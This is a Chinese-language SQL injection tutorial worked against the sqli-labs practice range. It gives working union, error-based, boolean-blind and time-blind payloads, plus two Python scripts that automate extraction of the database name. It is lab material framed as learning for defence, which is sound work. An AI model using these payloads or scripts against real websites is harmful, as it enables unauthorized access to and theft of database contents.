SQL注入
简介
sql注入通俗来说就是入侵者通过模拟用户输入构造SQL命令利用Web网站的域名或者表单提交,实现与数据库进行交互导致数据爆出,更严重的能使数据库数据修改甚至删除,防护不当黑客拿到控制权限对一个企业来说是非常大的打击!作为一名网络安全爱好者对这种行为肯定是非常抵制的,网络良好环境需要大家来维护,俗话说:知己知彼,百战不殆要想很好的防御就要知道他的攻击方式从而更好的避免伤害并且保护好自己的数据库。
环境工具
1、unbuntu
2、nginx
3、火狐浏览器
4、sqli-labs靶场
5、Burp Suite抓包工具
基本步骤
1、判断注入点
sql注入的注入点有很多,总结一句话就是一切能够与数据库进行交互的地方,比如一些get传参请求页面、post表单请求登录修改密码、一些后端会存储用户cookie,User-Agent这些http请求,评论等等需要自己去判断测试。
2、求列数
知道一个网页有注入点后,可以尝试通过sql语句中的order by命令来进行判断列数,知道了这个表的列数就能够配合联合注入进行后续操作,union联合注入要求就是列数需要相同否则会报错
尝试3列,可以看到没有报错
尝试4列,可以看到报出来错误
3、求显示位
知道列数后,就可以通过列数尝试查看具体哪些列能够在页面上进行显示,有了显示的地方就能够爆出一些数据库信息,利用union和select 进行显示,如下所示:
sql
http://192.168.62.140/sqli_labs/Less-1/?id=1' and 1=2 union select 1,2,3--+
知道列数为三列所以添加1,2,3进行尝试显示,其中1=2的目的是为了对id=1报错丢弃显示后面的sql语句,通过页面可以看到,2,3是能够显示的,我们就能够对2和3进行构造自己想要的payload,比如想要爆出数据库名
sql
http://192.168.62.140/sqli_labs/Less-1/?id=1' and 1=2 union select 1,database(),3--+
常见注入手法
1、联合注入
联合注入是通过联合函数union来实现后面语句的执行
比如说下面这个sql语句
(1)、数字型
php
$query = 'select * from information where id = '.$id.'limit 0,1';
通过这个sql语句我们能看到id接收的是一个整型数字,我们通过输入 1' ,可以看到有了报错。
我们就可以尝试逃逸出单引号,构造出这样一句sql语句
sql
select * from information where id = 1 and 1=2 union select 1,database(),3--+ limit 0,1';
这样我们就能够逃逸出单引号并且构造出一个payload爆出数据库
(2)、字符型
字符型又分为单引号和双引号闭合,两种情况也可以通过简单的测试进行测试出,首先我们看看他们的php代码
单引号
php
$query = "select * from information where id='".$id."'limit 0,1";
双引号
php
$query = 'select * from information where id="'.$id.'"limit 0,1';
这两个的注入原理都是一样的,我们先通过单引号来进行解释
通过代码我们可以看到id接收的是一个字符型的参数id='1' ,同样的在id的末尾加个单引号看是否报错
然后加个双引号在查看是否报错
可以看到单引号报错双引号没有报错,因为id='1',单引号:id='1'',双引号id=' 1" '单引号重复双引号没有重复,所以这是一个明显的单引号字符型注入,同样的我们可以和数字型一样构造payload但是不一样的是字符型需要先逃逸出id参数内的单双引号,我们可以构造这样一个payload,在id后加一个单引号
sql
select * from information where id = '1' and 1=2 union select 1,database(),3--+ limit 0,1';
小总结
数字型 | 字符型单引号 | 字符型双引号 |
---|---|---|
id=1'异常 | id=1'异常 | id=1"异常 |
id=1 and 1=1- -+ 正确 | id=1' and 1=1- -+ 正确 | id=1" and 1=1- -+ 正确 |
id=1 and 1=2- -+ 错误 | id=1' and 1=1- -+ 错误 | id=1" and 1=1- -+ 错误 |
同样也有可能出现 ') 和 ')) 的情况可以进一步测试
2、报错注入
报错注入适用在联合注入不适用的情况下,前提是需要有报错信息在页面有回显,报错注入就是构造一个能够有回显自己的payload信息的错误,利用一些报错函数,比如updataxml()、floor()、extractvalue()等等,这里举例靶场的第五关
可以看到我们使用内联注入,页面没有回显我们想要的信息,正确的页面一直都是"You are in...",但是我们可以看到输入错误的参数是有错误的信息回显的,这个时候我们就可以利用报错注入的方式进行注入
举例利用updataxml()函数构造payload,updataxml函数报错是因为用concat将里面的内容连成一个字符串不满足XPATH_String的格式,从而出现格式错误而爆出。
sql
?id=1'and updataxml(1,concat(0x23,database()),1)--+
成功爆出数据库名
不止这一个报错函数还有很多比如floor()函数的主键冗余爆出等等。
3、布尔盲注和时间盲注
布尔盲注和时间盲注是在注入期间发现页面错误和正确只有两种状态的时候,页面不会有任何的数据库和具体报错回显比如第8关
3.1、布尔盲注
正确回显
错误回显
无论怎么构造和配置只有这两种状态那么我们就只能够通过正确和错误来猜测想要获取的目标,比如这里我们想要获取数据库名,我们可以构造下面这段payload
sql
?id=1' and ascii(substr(database(),%1,1)) = 50--+
我们可以通过substr()函数截取数据库名第一个字符,并且进行ascii编码,后面的50是我们猜测的目标,在32到129的范围内进行猜测,如果页面显示正确页面那么就代表猜测正确就可以反ascii编码知道第一个字符是哪个字符,但是一个一个手工猜测很慢,我们可以通过sqlmap进行自动化破解,也可以自己写个脚本破解这里我写了一个简单的脚步
python
import requests
import time
url = 'http://192.168.62.140/sqli_labs/Less-8/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
for j in range(32, 129):
payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
res = {"id": payload}
r = requests.get(url, params=res)
if "You are in..........." in r.text:
name = name + chr(j)
print(name)
break
else:
continue
inject_database(url)
利用这个原理我们构造出这个pyload在利用python里面的requests函数查看在回复的response的包里面是否you"You are in ..."在里面,有则打印无则跳过
运行可知成功打印出了数据库名
3.2、时间盲注
时间盲注和布尔盲注相同点就是都是靠挨个猜想要知道的数据,但是不同点就是布尔盲注还有错误和正确两个状态给你判断,时间盲注不管正确和错误都只有一个状态页面给你回显,以第9关为例
正确
错误(包括双引号)
这里就可以利用一个sleep函数了,没有正确和错误状态给你,那么就可以通过页面的回显时间来判断自己的猜测是否正确,如下payload
sql
?id=1' and if(ascii(substr(database(), 1, 1)) > 32, sleep(1), 0)--+
可以看到页面在加载中,这里也可以使用sqlmap或者自己写一个简单脚本就能够实现注入
python
import time
import requests
url = 'http://192.168.62.140/sqli_labs/Less-9/index.php'
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
res = {"id": payload}
start_time = time.time()
r = requests.get(url, params=res)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
通过执行命令和结束命令之间的时间来判断是否匹配成功